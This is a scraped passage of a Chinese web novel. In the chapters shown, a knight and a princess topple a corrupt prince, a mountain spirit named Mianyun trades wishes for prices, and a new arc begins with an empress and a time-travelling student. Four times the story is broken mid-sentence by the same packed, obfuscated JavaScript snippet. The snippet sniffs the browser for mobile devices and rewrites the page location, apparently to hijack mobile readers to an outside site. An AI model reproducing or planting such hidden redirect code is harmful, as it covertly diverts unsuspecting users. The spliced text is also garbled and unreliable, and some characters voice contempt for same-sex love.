“那后来呢？”爱玛知道，想让一个人失态，就不能给对方留出半点儿思考的时间，她趁热打铁，接着逼问“我、艾米莉、露西，我们三个都是被你用权势强虏，你日日让我们脱光衣服，通过鞭打我们满足你变态的欲望，你难道依旧理直气壮吗？” “能服侍我是你们的荣幸！”霍尔的高高在上是刻在骨子里的，哪怕这种时候，他仍未察觉到爱玛的不对劲。“区区一个农场主的女儿，连贵族都不是，能碰到我就已经是三生有幸，难不成你还觉得本殿下亏欠你？” “你这个恶魔，你甚至连男侍卫都不放过！”爱玛的喊声尖利刺耳，像是一柄尖刀划破夜幕“那些男侍卫又做错了什么？他们都是骑士团中的精英，费劲千辛万苦才谋得了一个侍卫的职务，你竟然把他们给玷污了，你还是人吗？” “什么？！”霍尔的表情比爱玛更惊讶，他虽然有身体上的缺陷，但他从来没想过和男人有什么特殊关系，对侍卫的惩罚也真的是单纯的惩罚而已。 “你不用装了，”爱玛的脸上浮现出鄙夷的神色“不就是爱男人吗，有什么好掩饰的，也对，你在女人身上不行，在男人身上说不定就行了呢。” “你……”霍尔气的双目通红，他长这么大第一次听到如此侮辱的词句，他怒吼道“老子喜欢女人！男人怎么可能喜欢男人，那不是脑子有病吗？！” 好一个绝望的直男惨遭污蔑，为了证明自己对男人没有意思，霍尔不惜亲自下场掰cp，甚至连之前爱玛说了什么都忘了。 “……殿下？” 原本紧闭着的殿门被打开，利奥略显疑惑的声音传了进来“殿下这是在……” 说着，他把眼神转向了房间里的另一个人，看了一眼之后，他又很快低下头说道“打扰殿下了，属下这就告退。” 一男一女半夜单独在偏殿，女人身上只披着里衣，额头布满汗水，男人面色涨红，身上也有剧烈运动过的痕迹，这一幕只要不是傻子都会想歪。 “等等！”如此香艳的画面，霍尔脑子里却丝毫没有杂念，只有对自己清白的执着“你进来！” “殿下，”利奥并没有靠近，他只是一直低着头站在门外“有女士在场，属下不便靠近。” “我让你进来你就进来！”霍尔提高音量，若是放在平常，他怎么也不会让旁人看到他的女人，但今时不同往日，现在还是证明自己的清白比较重要。 利奥犹豫了一下，还是走了进来，只是全程低着头没有直视爱玛，他平静的问道“殿下，有何吩咐？” “你让她说！”霍尔气不打一处来，指着爱玛道“你把你刚才说过的话再说一遍！” “怎么，堂堂赫瑟瑞王储，敢做却不敢认吗？”爱玛冷笑，完全是一幅豁出去了的姿态“你和你的侍卫有私情，你经常在私下打他，我说的可对？” “这位小姐，您似乎误会了什么。”利奥声音不大，却很诚恳“作为霍尔殿下的下属，殿下责罚我只是因为我侍奉不周，至于私情……抱歉，我已经有喜欢的女孩了，哪怕没有，我也不会与殿下有私情。” “我们都是男人！男人！”霍尔这会儿心情稍稍平复了一些，他再次强调“男人爱上男人根本是不可能的事，那多恶心啊，你就死了这条心吧！” 见事情已经做的差不多，爱玛的手渐渐摸上了旁边的板凳，她打算猝不及防给霍尔来一下，毕竟霍尔现在只是气昏了头，等一会儿他反应过来，她就无处可逃了。 砰—— 还没等爱玛反应过来，利奥就一个手刀将霍尔放倒， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951661|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本他打算将霍尔扛回去，但想到爱玛刚刚说过的话，他动作顿了一下，改扛为拖，尽量减少和霍尔的身体接触。 “爱玛，利奥。” 辛西娅急匆匆的从外面赶过来，她没有问爱玛是否成功，而是捡起了地上的衣服给爱玛披上，又快速说道“来不及解释了，你们两个先跟我走。” 爱玛愣了一下，下一秒却被辛西娅直接拉走，辛西娅走出几步以后见利奥没动，又转身将霍尔拖到桌子上对利奥说“没事，在桌上睡一晚死不了，你们两个现在的当务之急是尽快离开。” 是的，离开，离开王宫，远离王城，是辛西娅唯一能给他们留下的后路，她很清楚霍尔睚眦必报的性格，霍尔醒了以后，利奥和爱玛这两个帮她的人都要倒大霉，她目前护不住他们，就只能尽快将两人送走。 爱玛知道自己刚才说的话足够她被砍头几十次，连忙跟在辛西娅身后上了一辆不起眼的马车。 辛西娅将一个布口袋塞进爱玛怀里，又转头对利奥说道“利奥，麻烦你多照顾爱玛，我处理好了王宫里的事以后会去找你，放心，第五骑士团团长的位置还是你的，我会帮你守好。” “殿下，”利奥摇头，“我不走。” 他很少反驳旁人，也说不出什么有道理的话，他只知道，腥风血雨，他不想让她一个人面对。 “利奥，现在不是意气用事的时候，你必须离开。”辛西娅神情严肃起来“我知道，你一直是个很善良又认真负责的人，但这次的情况与以往不同，我没有把握成功，就必须要为以后考虑。” “现在知道愉神榜真相的只有你我二人，你是书中的主角，虽然人气略低于霍尔，但总体上不会低太多，如果明天愉神榜依旧，粉丝反噬，死的人一定会是我。” “即使我死了，也不代表我们做的事毫无意义，至少霍尔的人气也会大幅度下降，之后要如何策划让霍尔人设崩塌，让愉神榜消失，还要仰赖于你。” “利奥，你是我现在唯一能信得过的人。”辛西娅郑重的拍了拍利奥的肩膀“如果我活着，我会尽量摆平王宫中的事，让你官复原职，如果我死了，我们现在要走的路只有你能继续走下去。” “不……”利奥眼神有些挣扎，理智上他知道辛西娅所做的决定是最合理的，不提愉神榜，哪怕霍尔执意想杀他，都会给辛西娅带来不小的麻烦，可是他不想离开，哪怕冒着被杀的风险，他也不想。 “离开只是暂时的，”辛西娅看着王宫“相信我，你离开只是权宜之计，总有一天，我会让你光明正大的回到这里。” 辛西娅不是什么傻白甜，她知道，王室中人，若是不争，那便要一直不争，若是争了，就要争到底，以她现在的情况，唯有向上走才是活路。 马车载着两人驶向远方，辛西娅回头，再一次独自走进了黑沉的夜色。 38. 第14章 利奥很擅长等待，或者说他已经习惯了在漫长的岁月中等待一个微乎其微的可能性。 离开王城的第一天，时至正午，愉神榜没有出现，利奥一直悬着的心终于放了下来。 离开王城的一个月，他与爱玛在帝国南部的一个小镇上安顿了下来，离宫之前辛西娅给爱玛的包袱派上了用场，包袱里面的钱财足够两人一辈子衣食无忧。 离开王城的第一年，或许是因为知道这个世界真相的原因，利奥敏锐的感觉到了世界的变化，这个世界好像变得更大了，在以前，赫瑟瑞是没有邻国的。 离开王城的第三年，利奥终于等到了辛西娅来接他们的马车，爱玛在这里过的很好，不愿再回到王城，最终只有利奥一人重新踏上了返回王宫的道路。 马车一路畅通无阻的驶入王城，利奥期间甚至没有遇到一个盘查的人，就连直接进入王宫也无人阻拦。 “利奥，”利奥刚下马车，辛西娅就站马车外迎接他“欢迎回来。” “殿下，”利奥露出了一个不熟练的笑容，“我回来了，您……这些年过的还好吗？” 哪怕辛西娅不说，利奥也知道，她必然是辛苦的。 赫瑟瑞王室虽然有公主继承王位的先例，但那毕竟是在没有王子的情况下才能由公主继承，现在的赫瑟瑞国王有不少儿子，辛西娅争夺王位的难度可想而知。 “还不算差，”辛西娅笑了“虽说辛苦了些，但最终我赢了，我们的努力总算没有白费。” “殿下，”利奥神色认真的说道“我没能为您做什么，哪怕您没有达成之前订立的目标，那也是属下无能，您无需愧疚。” “我知道，”辛西娅失笑，不得不说，在满是勾心斗角的王宫，利奥这样心思简单的人真的让人觉得很安心“你已经三年都没回来了，不如我带你看看王宫吧。” 利奥点头应下，他对王宫并没有多少怀念，但因为这次是和辛西娅一起，他反而觉得王宫比之前要顺眼了不少。 “还记得这里吗？”辛西娅走到了一个小花园中，她笑着指了指花园中央的石桌石凳“以前我们经常一起坐在那里，等待着愉神榜的宣判。” “嗯。”利奥不知该说什么好，只得低低回了一声。 “没关系，那已经是过去的事了。”辛西娅笑笑，她并没有察觉到利奥的异常，只以为他是回忆起了过去。“愉神、霍尔、父王，都已经被我一一打败，无论是我还是你，都不用再害怕了。” “殿下，”不知为何，利奥心里的不安始终未能散去，他下意识开口，却又想不出说什么，只好说道“不用怕，我一直会在殿下身边。” “当然了，”辛西娅转过身正对利奥，神色也变得严肃起来，她将象征着骑士的佩剑递给利奥，正色道“利奥·帕克，原第五骑士团团长，因执行特殊任务远离王城，如今任务圆满完成，官复原职。” “谢殿下。”利奥单膝跪地接过佩剑，他知道，这是辛西娅在完成她对他的承诺。 “若说谢，应该是我谢你才对，”辛西娅收起了之前严肃认真的模样，又笑了，二十岁的她看起来比十七岁的时候成熟了许多“谢谢你，愿意相信我说的那些不着边际的话，也愿意冒着被杀的风险帮我。” 三年前，刚刚得知愉神真相的时候，辛西娅的处境无比艰难，不可能有人愿意用性命去赌一个可能性，她的计划几乎是异想天开。 但出乎辛西娅意料的是，利奥答应了，她甚至没有费多少口舌，只说了她要让愉神榜消失，他就一口应下。 这其中的危险性不言而喻，他却从来没有犹豫过。 时至今日，辛西娅其实都不太明白为什么利奥会答应的那么爽快，毕竟愉神榜的存在对于利奥而言影响不大，作为主角，他的人气足够高，也不会有生命危险，如果说是因为他不想被霍尔迫害，那他的首要目标应该是霍尔，而不是愉神榜啊。 “殿下无需为此道谢，”利奥摇头，他生的高大，半跪着的时候也不比辛西娅矮多少“我为殿下所做的一切，都是出于自愿。” “……好，”辛西娅心跳漏了一拍，她忽然想到了某种可能性，良久之后她才缓缓说道“利奥，明天我就要登基，成为赫瑟瑞的新任女王了。” “如果这是殿下想要的，”利奥停顿了一下，接着说道“属下恭贺殿下。” “也谈不上想要吧，”辛西娅倒是很坦然“如果父王是一个好国王，霍尔是个不错的王储的话，我大概会好好做一个公主，毕竟我对王位没有执念。” 可惜世界上没有如果，身为国王的父王丝毫没有对国家的责任，王储霍尔更是纯粹的纨绔子弟，如果想解决这两个人，就只能自己上了。 “对了，”辛西娅将这些乱七八糟的念头丢出脑子，才想起正事来“利奥，在我登基以后，我想让你接手总骑士长的位置。” 赫瑟瑞帝国有十个骑士团，总骑士长能够统领所有骑士团，地位超然，每一个总骑士长都是历代国王最新任的人。 “殿下？！”利奥显然也很惊讶，毕竟这个位置可不是谁都能坐的“我……” “你先听我说完，”辛西娅叹息一声“我当然是再三考虑之后才和你说这件事的。” “你知道，赫瑟瑞之前是一个书中世界，我们没有邻国，自然也不需要边防，如今我们的世界发生了巨大的变化，女巫……咳，总之就是一位高人说过，我们的世界现在变成了小世界，自然不可能只有一个国家。” “赫瑟瑞因为之前没有邻国的压力，军队力量不强，想要抵御周围国家，就必须加强军事管理，不能再像以前那样松散。” “所以，我想到了你。”辛西娅神色认真“你正直、忠厚、有能力，在这个世界上，我最信任的人就是你。” “边境必须有一个忠诚于我，并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960741|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且有足够势力的人镇守，当然，如果你不愿意的话，我也会给予你贵族头衔，让你留在王城。” 辛西娅没有对利奥隐瞒，虽然她确实很需要利奥的帮助，但她更不想因为自己的隐瞒而失去一个朋友，所以她将所有利害都摆在明面上，哪怕利奥真的拒绝，她也会尊重他的选择。 “我……”利奥感觉自己全身的血液都在凝结，半晌以后，他才说道“我可以问一个问题吗？” “当然，”辛西娅点头“你尽管问，只要我知道的，我都不会有所隐瞒。” “您……”利奥斟酌了许久“您对以后有什么打算？” “当然是治理好这个国家，”辛西娅愣了一下，“毕竟现在的形势对赫瑟瑞来说不算好。” “您会……有一个王夫吗？”利奥向来沉默，这几乎是他这辈子最大胆的发言了。 “……不会，”辛西娅沉默了很久，久到利奥以为她不会回答了“我不会有王夫，也不会有孩子，未来的国王会从我的兄弟姐妹的孩子中选，我已经做好了为赫瑟瑞奋斗终身的打算。” 对于一个女王来说，生孩子这种举动太过冒险，她不能拿自己国家的未来去赌一个尚未出生的孩子，最好的方法就是她不婚，继承人从其他王室成员的孩子中挑选，再由她自己亲自教导。 “好，”听到这个答案以后，利奥不知是喜是悲，他抬起头，第一次如此直白的看着辛西娅，像是要把她的样子印在脑海中。“我会帮你实现你的一切心愿。” 辛西娅难得哑了声，她不知道该如何回答，只好让利奥先离开，在利奥离开以后，另一个消失了三年的人却准确的出现在了她面前。 “女巫小姐，”辛西娅深呼吸两次平复自己的心情“请问我需要支付给您什么报酬？” 世界上没有免费的午餐，她早已做好了付出代价的准备。 “你的运气不错，”眠云看了一眼远方，那是利奥离开的方向“原本你要支付的，是你的寿命，但现在就容易多了。” “你先后向我提出了两个愿望，这两个愿望你要付出的东西，一是属于你的女王王冠，二是利奥的骑士佩剑。” “我可以问为什么吗？”辛西娅看着眠云问道“虽然这两件东西的价值并不低，但无论如何都是我的寿命更值钱吧？” “因为我在收集一样特别的东西，”眠云也没有隐瞒，直接说道“传说，人生有八苦，而历经八苦以后便能超脱，你身上就有八苦中的一种。” 眠云虽然可以提供给旁人神奇的力量，可她收取的代价可不低，寿命、运气、容貌、才华、知识这些都是她最常要的报酬，辛西娅非常幸运，因为她和利奥两个人的东西必须要是一对，所以她以近乎免费的价格得到了眠云的帮助。 “八苦？”辛西娅显然听过这个概念“是……” “爱而不得，注定别离。” 爱别离。 39. 穿越女与世家大族养出来的皇后^^…… 暑热渐消，天气转凉，岐山也迎来了秋天，漫山的翠绿变成了深浅不一的黄色，这是每年岐山最有趣的时候，不同品种的树、花、果千姿百态，各有风情， 花花小心翼翼的摘下一枚隐藏在层层树叶之下的金黄色果实，这棵树是眠云从某个修仙位面挖来的，虽然灵气不多，味道却是一等一的好，每年秋天花花最期待的就是这个了。 “这位……姑娘，”一个陌生的女人站在树下，她衣着端庄华丽，气势不怒自威，眉宇间却有几分疑惑“这里……是仙境吗？” 也难怪卢令仪会这么想，毕竟前一秒她还在宗祠抄写佛经，下一秒就出现在了这里，除了做梦，恐怕就只有祖宗显灵能够解释了吧？ “嗯？也算吧，”眠云笑了笑，伸手做了一个请的手势“皇后娘娘，请跟我来吧。” 卢令仪迟疑一瞬，但很快又恢复镇定抬脚跟上去，没办法，这周围漫山遍野都是树，不像有人家的样子，即使对方有目的，她也只能先跟上了。 “请。”眠云给卢令仪倒了一杯茶，卢令仪接过来后却没有喝，只是将茶杯放在手边。 “皇后娘娘，”眠云仍旧保持着微笑“这茶能够缓解疲乏，您看起来精神不是很好，如果可以的话，还是请您尝试一二。” 卢令仪面色不变，她抬手将杯中茶水饮尽，对眠云点头道谢“多谢姑娘的茶，不知此处为何处？姑娘为何人？” “这里是岐山，我是岐山的山神眠云，”眠云表情淡然“今日你能来到这儿，也算是与我有缘，我可以满足你的愿望，但也会向你收取报酬。” “多谢，我没有什么愿望。”卢令仪握茶杯的手紧了紧“如果可以的话，姑娘可以放我回去了吗？” “不急，您可以再多想一想，”眠云笑的意味深长“毕竟您现在，可是身处困境之中。” “小事而已，不足为惧。”说到这儿，卢令仪流露出了几分傲然，她出身范阳卢氏，自幼进宫受太后教导，十七岁嫁入东宫，二十五岁成为皇后，如今已当了十年皇后，又岂能因为一点小事而烦忧？ “既然皇后娘娘如此想，我也不便多说，”眠云不意外的点头“若皇后娘娘需要我的时候，便在心中呼唤我的名讳，我会出现在您面前，替您解忧。” * “皇后娘娘，皇后娘娘！”宫女芙蕖焦急的声音在卢令仪耳边响起“皇后娘娘，您快醒醒啊！” “发生什么了？”卢令仪睁开眼，先祖牌位在供桌上俯视着她，她脑子里有些迷糊，刚刚发生的事，到底是真的，还是她做了一场梦？ “皇后娘娘，您可算醒了！”芙蕖嗓音沙哑，显然是喊了很久“您一定要保重凤体啊，陛下、陛下很快就会接您出去的。” “我没事，”卢令仪动了动，她感觉自己浑身轻松，丝毫没有之前的疲累，这让她不由得想起了眠云递给她的那杯茶“现在是什么时辰了？” “丑时三刻，”芙蕖伸手抹掉眼泪抱怨道“陛下也真是的，怎么能因为个民间带回来的女子惩罚您呢！” “芙蕖！”卢令仪听到这话立刻呵斥“陛下自有陛下的打算，你若再管不住嘴，就先去学学规矩！” 雷霆雨露俱是天恩，无论陛下是赏是罚，旁人都没有置喙的余地，芙蕖的性子，也该收敛收敛了。 “都是那狐狸精的错！”芙蕖自知失言，不再提皇上，只一味说着那名被皇上带回来的民间女子“那女人不知道使了什么狐媚手段，竟迷了陛下的心，让陛下责罚皇后娘娘，哼！陛下不过是一时兴起才宠爱的她，等过了这阵子风头，看我怎么收拾她！” “好了，”卢令仪揉了揉眉心“尽快把佛经抄完给太后送过去，若我在这里待久了，芳姑姑怕是压不住后宫那群妃嫔。” 虽说芳姑姑是太后留下来的老人，在宫中很有体面，但毕竟主子是主子，奴才是奴才，若是时间短还能借故推脱，时间一长，谁知道又会出什么事。 想到这儿，卢令仪加快了抄写佛经的速度，并赶在晌午之前就给太后送了过去，她刚刚回到凤仪宫，还没来得及进门，就听到里面哭哭啼啼以及茶杯被打碎的声音。 “成何体统！”卢令仪不用看就知道里面必然闹起来了，她走进去坐到主位，看向正在啼哭的妃嫔“丽嫔，好好的哭什么？” “皇后娘娘，”丽嫔柔柔弱弱的行了个礼，一边轻声啜泣一边说道“臣妾见华贵人来迟了些，想着华贵人年轻，不懂规矩也是正常，便上前劝了几句，哪想到华贵人如此目中无人，竟直接将臣妾推到地上，还想拿茶杯砸臣妾，这实在是，实在是，呜呜呜……臣妾没脸见人了。” “华贵人，丽嫔说的可是事实？”卢令仪看着哭哭啼啼的丽嫔，头疼的更厉害了，毕竟在新受封的华贵人来之前，丽嫔是整个后宫最为得宠的妃嫔，这一个新欢一个旧爱，闹起来真是麻烦。 “不是，”华贵人下意识反驳，随后她才像是刚反应过来一样，站起来不伦不类的行了个礼“丽嫔血口喷人，我没有推她，茶杯也只是偶然掉落，还请皇后娘娘明鉴。” “华贵人，”卢令仪看着对方那不伦不类的礼仪和张口闭口的我皱了皱眉“不知你家在何处，父母是做什么的？” “安聚县，父母皆是农人，”华贵人不知皇后问这个有什么用，但她还是老老实实的回答了。 “华贵人出身贫寒，礼仪也粗陋了些，”卢令仪眉头皱的更紧，“待会儿我派两个嬷嬷去华贵人那里教导贵人规矩，皇宫之中，岂能如此随意？” 听到皇后这么说，刚刚还在垂泪的丽嫔眼里闪过得逞的笑意，毕竟这个华贵人才进宫就抢了她风头，她要是能咽下这口气才怪。 会被指派教导嬷嬷，就是摆明了在说对方没家教，看来对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14967281|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这位新入宫的华贵人，皇后心里也是不悦的。 “至于丽嫔，”卢令仪转头看向丽嫔“你进宫三年，还如此不稳重，不如这三天就在我这儿抄抄经书，修身养性吧。” 卢令仪不知道到底是谁挑的事，但这种没边际的小事一般都是各打五十大板，那华贵人不是正经选妃选进来的，心思难免活泛，也该敲打敲打。 遣散众人以后，卢令仪本打算休息一会儿，毕竟她之前熬了一整晚，铁打的身子也扛不住，更何况她为后宫操劳多年，身体本就算不上康健。 “皇上驾到——” 卢令仪还没休息两分钟，就听到了外面太监的通传，她连忙整理好自己的衣衫，恭恭敬敬的跪在地上“吾皇万岁万岁万万岁。” “起来吧，”一身龙袍的中年男人走进来，他的脸型方正，身材有些瘦削，年近四十的人却有着明显的老态“之前罚了你，你可怨朕？” “是臣妾管理后宫不周，何来怨恨陛下。”卢令仪不卑不亢的答道。 “哼！”皇帝冷哼一声“若无怨恨，又为何要派给华贵人两个礼仪嬷嬷，你这是在说朕挑的人不懂礼吗？” “臣妾绝无此意，”卢令仪连忙跪下，她知道皇上最近对华贵人宠爱的很，却没想到华贵人能受宠到这种地步，让皇上亲自为这种鸡毛蒜皮的小事来找她。“只是华贵人初入宫廷，难免不适应，臣妾想着让几个有经验的嬷嬷照看，皇上也好安心。” “……你先起来吧，”皇上叹息一声，他和卢令仪少年相识，虽说不至于琴瑟和鸣，但到底有几分情分在。“令仪啊，你还记得我们刚成婚的时候吗？那个时候我被父皇猜忌，过的如履薄冰，无论是什么事，半点儿都不敢多做，生怕丢了性命。” “陛下雄才大略，虽有波折，仍是天命所归。”卢令仪不知道皇上在想什么，只好顺着他的话说。 “朕老了，这些年常常想起年少时，”皇帝眼眸微微失神“年轻真好啊，少年时意气风发，天不怕地不怕，浑身都是鲜活的生命力。” 卢令仪没有搭话，毕竟皇上这一番回忆往昔的目的还没说呢。 “年轻人，经验不足，犯些小错也是正常。”皇上语重心长的说道“你是皇后，是天下女子的典范，和些年轻妃嫔计较什么呢。” “陛下说的是，”卢令仪明白了皇上的意思，无非是不满她没给华贵人好脸色“臣妾统领东西六宫，定要贤良大度，只是没有规矩不成方圆，华贵人进了宫，总要学学宫中的规矩，否则会让陛下矢了颜面。” “哼！”听到卢令仪这不软不硬的回答，皇上心里有些不高兴，他不一定在乎华贵人，却在乎自己的面子“既然皇后这里规矩这么大，那不如你也跟着丽嫔抄经书，为后宫做个表率吧。” “……臣妾遵旨。”卢令仪沉默半晌，最终还是像往常一样，恭送皇上离开。 40. 第2章 “娘娘！”一个宫女打扮的小姑娘气喘吁吁的追上华贵人，她上气不接下气的说道“您、您走慢一点儿，奴婢跟不上您了。” “抱歉，”穿越到古代，又被皇帝捡走的现代大学生刘烨下意识道歉“我刚刚在想旁的事，没注意到你。” 其实不是刘烨走的太快，而是宫中女子都是优雅的小碎步，现代人刘烨习惯了大步走，宫女自然会跟不上。 “奴婢不敢。”宫女连忙摆手，她只是个奴婢而已，怎么能让主子道歉呢。 “嗯……”刘烨还想说点儿什么，最终却什么都没能说出来，只好问道“陛下呢？” “这……”宫女被难住，她一个小宫女，哪里知道陛下的踪迹“娘娘不必忧心，您刚进宫，陛下会来看您的。” 这话说的，还真是说了一句话。 刘烨想要吐槽一句，但看到宫女忐忑的眼神，她又把到嘴边的话咽了回去，穿越到古代还没有多久，她就比以前沉默了许多。 “呦，我当是谁啊，这不是飞上枝头当凤凰了的华贵人吗？还在这儿干嘛呢，不如回你的华音宫好好学学规矩，免得以后闹出笑话。” 不远处，以丽嫔为首的几个妃子正看着刘烨，丽嫔眼里满是高傲嘲讽，显然是看刘烨很不顺眼。 “……对，”刘烨深吸一口气，忍下了骂回去的冲动“我飞上枝头当凤凰是我八辈子修来的福分，现在我就回宫去学规矩，你看这样行吗？” 她是学历史的，哪怕不学历史，她也知道古代繁多的规矩，得罪不起，她当缩头乌龟总行了吧？ 丽嫔没想到刘烨就这么大大方方的承认了自己身世低微，她一时无言以对，两人尴尬的站在原地。 “丽嫔、华贵人，”卢令仪刚出门，就看到这两方人马在御花园对峙，她感觉本来就难受的头更疼了“你们都在这儿站着做什么？” “皇后娘娘——”丽嫔未语泪先流，她虽是宠妃，却知自己家世不足，与身为皇后的卢令仪关系向来亲近“臣妾不过是好心规劝华贵人几句，没想到华贵人竟如此说臣妾，臣妾真是……呜……” 一旁的刘烨不可思议的看着丽嫔，这不就是绿茶吗？她还是第一次见到这么能哭的，这人得属茶壶的吧？又茶又能哭。 “我……” “行了！”卢令仪没心情再理这两人的眉眼官司，她直接说道“丽嫔跟我走，华贵人你也回你自己宫里待着去！” 丽嫔得意的挑挑眉，她知道，因为她是宫中老人，在这种小事上皇后会给她面子，毕竟口舌之争很难说谁对谁错，资历浅的自然就背锅了。 “……是。”刘烨的气更不顺了，但不高兴能怎么样，只能忍着。 直到晚饭，刘烨一直很沉默，不仅是因为丽嫔的事，而是因为通过丽嫔，她看到了自己的未来。 “华贵人啊，”与她一同用膳的皇上看着冷脸吃饭的刘烨，不仅没有生气，反而笑眯眯的说道“是谁惹你生气了，就连和朕用膳都是这么闷闷不乐的。” “没有啊，”刘烨眼神飘忽，她还是个学生，没有锻炼出职场高情商，也不怎么会说谎“我……臣妾只是有点儿累了，还请陛下恕罪。” “既然你不说的话，朕就只能问问你身边的人了。”皇上对刘烨十分宽容，他叫了刘烨身边的宫女“你说说，华贵人为什么不高兴啊。” “这……”宫女对这个送命题显然也是十分为难，但欺君之罪可是大罪，她不敢隐瞒，只好将今日所发生的事都说了一遍。 “原是因着丽嫔和皇后而生气。”皇帝语气淡淡，听不出喜怒。 “不是，”刘烨立刻反驳，开玩笑，她还想要命呢，怎么能参与这种宠妃斗争“是……是臣妾有些水土不服，所以才不高兴。” “那朕请太医过来给你看看。”皇上毕竟是皇上，又哪里看不出刘烨只是找个借口，只是一想到皇后，他也没了吃饭的心思，不久后便离开，去往了皇后宫中。 “陛下？”卢令仪对皇上忽然过来很是惊讶，她连忙从榻上起身行礼“皇上怎么不叫人通报一声，臣妾如此岂不失礼？” “你我多年夫妻，你还是如此拘谨。”皇上摆摆手“皇后啊，你跟着我也有十八年了吧？” “是，”卢令仪不明白皇上为什么又伤春悲秋起来了“臣妾已经侍奉皇上十八年了。” “朕今年已经三十有八，却只有一子三女，大皇子身体又弱，如此下去，朕怕是会后继无人啊！”皇上的语气并不算强烈，但他的话对于皇后来说却是很严重的指控。 “是臣妾无德，未能替陛下开枝散叶。”卢令仪立刻跪下，作为皇后，她却没有生下过任何子嗣，这确实是她的心病。 “华贵人年轻，朕想着民间的女子更好生养些，”皇上见敲打到了，就亲手扶起了皇后“她性子活泼，往后也莫要多拘着她，毕竟子嗣之事可是大事。” “……是。”卢令仪要再不明白皇上是什么意思，她这么多年就白活了！今天上午的时候皇上就有意无意的提出要对华贵人宽厚些，只是被她以规矩搪塞了回去，没想到那华贵人倒是好手段，竟能让皇上替她来说第二次。 皇上离开以后，卢令仪沉默的坐在床边，实际上，她已经不是第一次因为没有孩子而妥协了。 “眠云？”卢令仪轻轻唤了一声，她不确定这个名字代表着真实存在的神仙，还只是她的一场梦。 “皇后娘娘，您是需要我的帮助吗？”眠云忽然出现在卢令仪的寝宫中，倒是把卢令仪吓了一跳。 “……对，”卢令仪现在终于相信了眠云是神仙，毕竟凡人怎么可能轻易进入她的寝殿“我想要一个健康的皇子。” 皇上薄情寡义，后宫嫔妃多如过江之卿，唯有子嗣才是她立身的根本。 “嗯……其实皇后娘娘也可以考虑一下旁的，比如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971944|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇上的宠爱？”眠云提议道“毕竟皇上并不是那么在乎子嗣的人，哪怕生下子嗣，娘娘也不一定会受到皇上的重视。” “以我的出身，若只谈皇上喜不喜欢，那就太轻浮了些。”卢令仪摇头“我只想生下一个健康的儿子，剩下的东西我不奢求。” “如果这是你的期待的话，可以，”眠云点头“在你和皇帝下一次同房的时候，你会怀上一个男孩，孩子很健康，但也不是百毒不侵，能不能平安生下孩子，就要看你自己的本事了。” “好。”卢令仪也知道，眠云不可能给她凭空变出一个孩子，实际上眠云要是真的立刻递给她一个孩子，她还不敢接呢。 “你认为皇帝是一个什么样的人呢？”眠云没有立刻说出自己的要求，反而说起了旁的。 “……多情之人。”在眠云面前，卢令仪也没再说什么不敢妄议之类的场面话，她很客观的评价道“陛下在当太子的时候并不沉湎女色，侍奉的姬妾也是几位皇子中最少的，只是自陛下登基以来，宫中妃嫔数量越来越多，每新晋一批妃嫔，总有人会独宠一段时间。” “我看着，你们的皇帝陛下是个极自我的人，”眠云似笑非笑“这样的人，爱欲其生，恨欲其死，恐怕你这个做皇后的每次都很为难吧？” 卢令仪仔细一想，还真是这样，无论是华贵人，还是之前的丽嫔、湘妃、玉贵人，好像都是专宠，虽说她们都只得宠了一段时间，但得宠的时候也是真的得宠，连她这个皇后都要暂避锋芒。 “我是皇后，”卢令仪无奈，只得叹息一声“身为皇后，就要做到皇后的责任。” “这样啊，”眠云点头，没有再提这个话题“你向我许的这个愿望不算小，代价的话，我要你的凤印。” “这……”卢令仪皱起眉头，思索再三“凤印丢失不是小事，而且想要伪造也很困难，短时间内我恐怕没办法给你答复。” “这个容易，”眠云抬手，一个拳头大小，由玉石做成的凤印出现在她手中“我这里有一个赝品，和你的凤印一模一样，任何人都认不出是真是假，你只要将这两枚凤印调换过来就行。” 有这么方便的赝品，卢令仪自然没有再拒绝的道理，她仔细检查过假凤印，确定它真的和真凤印一模一样以后，便直接应下了眠云的条件。 